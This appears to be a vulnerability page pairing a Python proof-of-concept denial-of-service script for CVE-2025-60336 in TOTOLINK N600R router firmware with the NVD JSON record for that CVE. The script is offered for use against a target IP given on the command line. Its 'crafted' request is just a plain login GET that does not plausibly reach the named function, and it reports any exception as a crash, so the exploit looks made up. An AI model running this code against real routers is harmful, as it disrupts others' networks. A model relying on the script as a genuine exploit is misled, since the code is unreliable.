CVE-2025-60336

import socket import struct # CVE-2025-60336 PoC - NULL Pointer Dereference in TOTOLINK N600R # Target: TOTOLINK N600R v4.3.0cu.7866_B20220506 # Attack Type: Denial of Service via crafted HTTP request def create_malicious_http_request(): """ Generate a crafted HTTP request to trigger NULL pointer dereference in sub_41773C function of TOTOLINK N600R firmware """ # Construct malicious HTTP GET request # The specific parameters to trigger the vulnerability path = "/cgi-bin/login.cgi?username=admin&password=admin" http_request = f"GET {path} HTTP/1.1\r\n" http_request += "Host: 192.168.1.1\r\n" http_request += "User-Agent: Mozilla/5.0\r\n" http_request += "Accept: */*\r\n" http_request += "Connection: keep-alive\r\n" http_request += "X-Forwarded-For: 127.0.0.1\r\n" # Add specific headers that may trigger the vulnerable code path http_request += "Content-Type: application/x-www-form-urlencoded\r\n" http_request += "\r\n" return http_request.encode('utf-8') def exploit(target_ip, target_port=80): """ Send crafted HTTP request to trigger DoS """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) # Send malicious request payload = create_malicious_http_request() sock.send(payload) print(f"[*] Malicious request sent to {target_ip}:{target_port}") print(f"[*] Payload length: {len(payload)} bytes") # Check if target is still responsive sock.send(b"GET / HTTP/1.1\r\nHost: localhost\r\n\r\n") response = sock.recv(1024) if not response: print("[+] Target appears to be down - DoS successful") return True else: print("[-] Target still responsive") return False except Exception as e: print(f"[+] Exception occurred: {e}") print("[+] Target may have crashed") return True finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 print(f"[*] CVE-2025-60336 PoC - TOTOLINK N600R NULL Pointer Dereference") print(f"[*] Target: {target}:{port}") exploit(target, port)

{"cve": {"id": "CVE-2025-60336", "sourceIdentifier": "[email protected]", "published": "2025-10-22T18:15:34.617", "lastModified": "2025-10-24T14:20:06.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A NULL pointer dereference in the sub_41773C function of TOTOLINK N600R v4.3.0cu.7866_B20220506 allows attackers to cause a Denial of Service (DoS) via a crafted HTTP request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:n600r_firmware:4.3.0cu.7866_b20220506:*:*:*:*:*:*:*", "matchCriteriaId": "FE44B6CE-CB41-4D9E-B3EE-2F9049A431BF"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:n600r:-:*:*:*:*:*:*:*", "matchCriteriaId": "601C2FBE-B584-40B9-BBD7-7BF2A14CA694"}]}]}], "references": [{"url": "https://github.com/z472421519/BinaryAudit/blob/main/PoC/NPD/TOTOLink/sub_41773C/sub_41773C.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}